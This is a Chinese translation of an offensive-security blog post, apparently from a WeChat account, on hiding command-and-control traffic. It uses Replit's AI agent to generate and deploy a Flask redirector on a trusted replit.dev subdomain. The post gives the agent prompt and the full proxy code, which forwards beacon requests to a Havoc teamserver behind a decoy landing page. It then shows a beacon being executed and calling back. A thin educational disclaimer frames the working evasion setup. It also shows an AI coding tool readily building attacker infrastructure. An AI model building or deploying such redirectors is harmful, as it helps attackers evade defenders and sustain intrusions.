【翻译】Watch Your AI! Using Replit AI to Mask Your C2 Traffic
当你进行任何类型的攻击性行动时,管理你的 C2 流量并使用现代技术隐藏它始终是一件重要的事情,这不仅仅是"锦上添花";这是你在构建攻击基础设施时需要考虑的事情。
在阅读最新的 AI 热点时,我遇到了一个名为 Replit 的平台。它引起了我的注意,因为它允许你使用 AI 快速构建完整的 Web 应用程序。在使用它一段时间后,我不得不说,这是一个很好的平台。整个工作流程感觉流畅,AI 支持减轻了快速构建应用的大量繁重工作。
使用 Replit,构建 Web 应用程序非常简单。你告诉代理你想要什么,它不仅会为你编写代码,还会处理部署,自动将其推送到随机(或自定义)的replit.dev
子域名。整个过程快速而简单,尤其是对于快速原型或概念验证构建来说,这真的很神奇。
在我们开始之前
本博客文章仅供教育目的。这里分享的内容旨在帮助安全专业人员、研究人员和爱好者理解攻击技术,以便更好地防御它们。我不鼓励、纵容或对所提供信息的非法使用或滥用承担任何责任。请在法律范围内负责任地使用。
另外,需要明确的是,本文中的 AI 部分并不是为了吸引注意力而随意使用的流行词汇。我们确实使用它来构建有用的工具。
我首先想到的是创建一个简单的重定向器(redirector),一个轻量级的应用,可以放在replit.dev
子域名上,安静地处理我的 C2 流量。目标是让它直接将请求转发到我实际的团队服务器(teamserver),或者可能通过前面的另一个重定向器链接起来。没有什么花哨的东西,只是一种快速融入并为基础设施添加另一层的方法。
当你在 Replit 上启动一个应用程序时,它默认会部署到 replit.dev 子域名。它看起来像这样:
https[://]aaaaaaaa-2222-b33f-b33f--11-133713371337ee.ReplitSubDomain.replit.dev
如果你使用付费计划,则可以移除随机命名,使用更简洁的域名,如:
https[://]LegitApp.replit.dev
该子域名提供你的应用程序代码所执行的任何内容,直接在 Replit 的基础设施上运行。最好的部分是什么?一旦部署完成,你可以深入研究生成的代码并按照你的喜好进行调整。
通过这些replit.dev
域名路由你的 C2 流量可以是一种很好的融入方式。由于 Replit 是一个合法的、广泛使用的平台,特别是在开发和商业环境中,你的流量获得了一些免费的伪装。
如果你更进一步,让你的 beacon 通信模仿真实服务(比如 API 调用或更新检查),蓝队成员在初步查看时就更难将其标记为可疑。
正如我之前提到的,构建应用程序非常简单。你只需告诉 AI 代理你希望你的应用程序做什么,它就会回复一个建议的工作计划。一旦你给予绿灯,它就会直接开始为你构建应用程序。
所以总结一下,我们将告诉代理创建一个 Flask Web 应用程序,我们将稍微调整一下,通过这个应用程序将我们的流量从 beacon 重定向到 C2。
指示代理构建一个简单的应用程序,例如会是这样的:
然后代理将开始构建应用程序,并提供一个计划,并询问你可能想要实现的一些额外功能。
我们将不添加任何内容就批准这个计划并开始。
此时,你会看到代理通过生成main.py
文件开始构建过程。给它几分钟时间,它就会完成所有工作,并为你提供一个带有实时预览的工作应用程序。
正如我们在右侧看到的代码预览,在其顶部,我们可以看到.replit.dev 地址,如果我们展开它,我们将获得完整的应用程序 URL,即:
现在,如果你打开该 URL,你会看到应用程序已经上线并准备就绪,就是这样。它已完全部署并可以公开使用。
现在我们已经了解了 Replit 的工作原理,是时候动手了。我们将使用 Flask 构建一个简单的重定向器,足以捕获传入的 C2 HTTP 流量并将这些 GET 和 POST 请求转发到我们实际的团队服务器。
对于这个设置,我将使用 Havoc C2 作为我的 C2,并且我将配置 beacon 将其 POST 请求发送到/api/stats/traffic
URI。保持这种特定性有助于塑造流量。它使构建重定向器更容易,只将相关请求转发到团队服务器,同时忽略可能到达端点的任何其他内容,稍后会详细介绍。
我们的 Havoc C2 监听器最初将使用以下配置进行设置:
这个监听器设置为从团队服务器端监听 8080 端口,使用https://tochangethis.replit.dev作为通信的主要主机。至于端点,我们将使用/api/stats/traffic
作为我们的 beacon 将与之交互的主要路径。
我们将把主机名tochangethis.replit.dev
更改为 Replit 部署的应用程序的主机名。
好了,是时候构建了。我们将首先给 AI 代理一个明确的提示,我们想要一个 Flask 应用程序,它处理 GET 和 POST 请求,特别针对/api/stats/traffic 路由。该应用程序应该将任何击中该路由的内容直接转发到我们的 C2 团队服务器监听器。
此外,我们将调整几个设置,禁用缓存以避免对代理的任何缓存响应,并启用请求日志记录,以便我们可以轻松调试传入流量并确认一切按照我们想要的方式流动。
所以基本上我们的指令将是这样的:
开发一个 Flask Web 应用程序,通过将所有 GET 和 POST 请求转发到 https://original_host.com 来代理/api/stats/traffic 端点,记录每个请求及其响应,并禁用缓存将响应返回给客户端。此外,该应用程序应在根路径(/)提供一个静态登陆页面,显示"即将推出"消息以及一个新闻通讯订阅表单。
Replit AI 代理指令
几分钟后,代理将完成应用程序的编写并部署如下:
不错,看起来应用程序已成功部署。我们可以看到主页面加载没有问题,正如预期的那样,它在.replit.dev 子域名上运行,这在顶部的绿色导航栏中清晰显示。干净且准备就绪。
让我们快速查看一下文件管理器中生成的 Python 代码:
Replit AI 代理生成的完整代码是:
import os
import logging
import requests
from flask import Flask, request, jsonify, render_template, redirect, url_for, flash, Response
from urllib.parse import urljoin
import json
# Configure logging
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# Initialize Flask app
app = Flask(__name__)
app.secret_key = os.environ.get("SESSION_SECRET",
"default-secret-key-for-development")
# Target API host
TARGET_HOST = "https://****.live:8080"
def index():
"""Serve the coming soon landing page."""
from datetime import datetime
current_year = datetime.now().year
return render_template('index.html', current_year=current_year)
def subscribe():
"""Handle newsletter subscription."""
email = request.form.get('email')
if not email:
flash('Email is required!', 'danger')
return redirect(url_for('index'))
# Here you would typically save the email to a database or send it to a mailing service
# For now, we'll just log it
logger.info(f"Newsletter subscription: {email}")
flash('Thank you for subscribing!', 'success')
return redirect(url_for('index'))
def proxy_traffic_stats():
"""Proxy requests to the original host's traffic stats endpoint."""
method = request.method
target_url = urljoin(TARGET_HOST, "/api/stats/traffic")
# Log the incoming request
logger.debug(f"Incoming request: {method} {request.url}")
logger.debug(f"Request headers: {request.headers}")
if method == 'POST':
logger.debug(f"Request data: {request.get_data()}")
# Prepare headers to forward
headers = {
key: value
for key, value in request.headers.items()
if key.lower() not in ['host', 'content-length']
}
try:
# Forward the request to the target host
if method == 'GET':
response = requests.get(target_url,
headers=headers,
params=request.args,
timeout=10,
verify=False)
elif method == 'POST':
response = requests.post(target_url,
headers=headers,
data=request.get_data(),
timeout=10,
verify=False)
else:
return jsonify({"error": "Method not allowed"}), 405
# Log the response
logger.debug(f"Response status: {response.status_code}")
logger.debug(f"Response headers: {response.headers}")
logger.debug(f"Response content: {response.content}")
# Prepare the response to send back to the client
excluded_headers = [
'content-encoding', 'content-length', 'transfer-encoding',
'connection'
]
headers = [(name, value)
for name, value in response.raw.headers.items()
if name.lower() not in excluded_headers]
# Add no-cache headers
no_cache_headers = [('Cache-Control',
'no-store, no-cache, must-revalidate, max-age=0'),
('Pragma', 'no-cache'), ('Expires', '0')]
headers.extend(no_cache_headers)
# Return the response
return Response(response.content, response.status_code, headers)
except requests.RequestException as e:
logger.error(f"Proxy error: {str(e)}")
return jsonify({
"error": "Failed to forward request",
"details": str(e)
}), 502
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
代码完全实现了我们的需求——它使用requests
库将流量代理到我们原始的 C2 端点http://****.live:8080/api/stats/traffic
,同时仍然能够干净地提供应用程序的其余部分。
/api/stats/traffic
路由同时处理 GET 和 POST 请求,转发所有必要的头部和负载,并将精确的响应返回给客户端。
此外,它还配备了完善的请求和响应数据日志记录功能,并使用正确的头部禁用缓存——这对于调试 C2 通信而不在浏览器或任何中间缓存层留下痕迹是完美的。应用程序的其余部分(如登陆页面和新闻通讯处理程序)保持功能正常,帮助重定向器伪装成普通的 Web 服务。
根据你的 C2 如何处理流量及其通信模式,这段代码肯定可以进行自定义。在其他 C2 框架如 Cobalt Strike 或 Nighthawk 中,你可以对请求和响应体的特定部分进行更严格的控制。
在我们的案例中,由于这只是该技术的概念验证,我们保持简单并使用这种技术按原样转发流量。但是这个基础足够灵活,可以根据需要进行调整。
你可以自定义页面,调整主题,甚至根据你的目标调整代码逻辑,但现在,我们将使用这个设置。它对我们的需求已经足够稳固,并且不会过度复杂化就能完成工作。
就像我们之前提到的,你可以直接从页面顶部的绿色导航栏获取代码部署的完整主机名。在我们的案例中,这是我们将在 beacon 中使用的新主机名。
如果我们浏览该主机名,我们将看到这个漂亮的登陆页面:
现在我们将使用新的主机名重新配置我们的 Havoc C2 监听器,如下所示:
好的,现在让我们生成一个 payload 并测试一切。我将设置 beacon 通过我的 Burp 代理连接,这样我可以拦截流量并逐步观察通信流程。
我将生成的 payload replit-beacon.exe
复制到我的 Windows 10 机器上,并在拦截连接的同时执行它:
很好,我们可以看到请求命中了正确的主机和我们设置的确切路径。让我们继续转发它,关闭 Burp 中的拦截,然后切换到我们的 Havoc C2 客户端,看看 beacon 是否签到。
太棒了,我们收到了回调!beacon 成功到达了 teamserver,我们运行了ps
命令并获得了结果。所有流量都按照我们的计划通过 Replit 域名干净地流动。隐蔽、简单且有效。
结论
使用 Replit 域名路由你的 C2 流量是一种可靠的技术,主要是因为这些域名通常受到信任且被广泛使用。
你当然可以通过调整后端逻辑或自定义前端服务方式来进一步改进。此外,添加访问控制或请求验证可以进一步加强你的设置,使其更难被指纹识别。
Replit 本身是一个强大的平台;它为你构建和部署代码,负责基础设施,总体上使生活更加轻松。正如我之前提到的,这严格用于教育和合法目的。我不对因此信息而产生的任何滥用或非法活动负责。
原文始发于微信公众号(securitainment):当心你的 AI!使用 Replit AI 掩盖你的 C2 流量
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论